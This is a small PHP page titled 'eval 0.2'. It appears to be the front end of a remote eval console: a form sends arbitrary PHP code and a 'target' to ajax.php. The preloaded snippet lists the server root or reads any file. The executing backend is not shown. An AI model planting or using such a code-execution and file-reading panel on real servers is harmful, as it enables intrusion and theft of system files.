<?php

/**
 * Description of index
 *
 * @author krok
 */

header('Content-type:text/html; charset=utf-8;');

?>
<html>
      <head>
            <title>eval 0.2</title>
            <script type="text/javascript" language="javascript" src="./js/jquery.js"></script>
            <script type="text/javascript" language="javascript" src="./js/ajax.js"></script>
      </head>
      <body>
            <form action="./ajax.php" method="POST" id="run_eval">
                  <table border="0" style="width: 100%;">
                        <tr>
                              <td><input type="text" name="target" style="width: 100%;"></td>
                        </tr>
                        <tr>
                              <td>
                                    <textarea style="width: 100%; height: 200px;" name="eval">
error_reporting(E_ALL);
ini_set("display_errors", true);

$target = '/';

if(is_dir($target)){
      print_r(scandir($target));
}else{
      echo readfile($target);
}
                                    </textarea>
                              </td>
                        </tr>
                        <tr>
                              <td><input type="submit" value="Run" style="float: right;"></td>
                        </tr>
                  </table>
            </form>
            <br />
            <textarea style="width: 100%; height: 400px;" readonly="true" id="result_eval"></textarea>
      </body>
</html>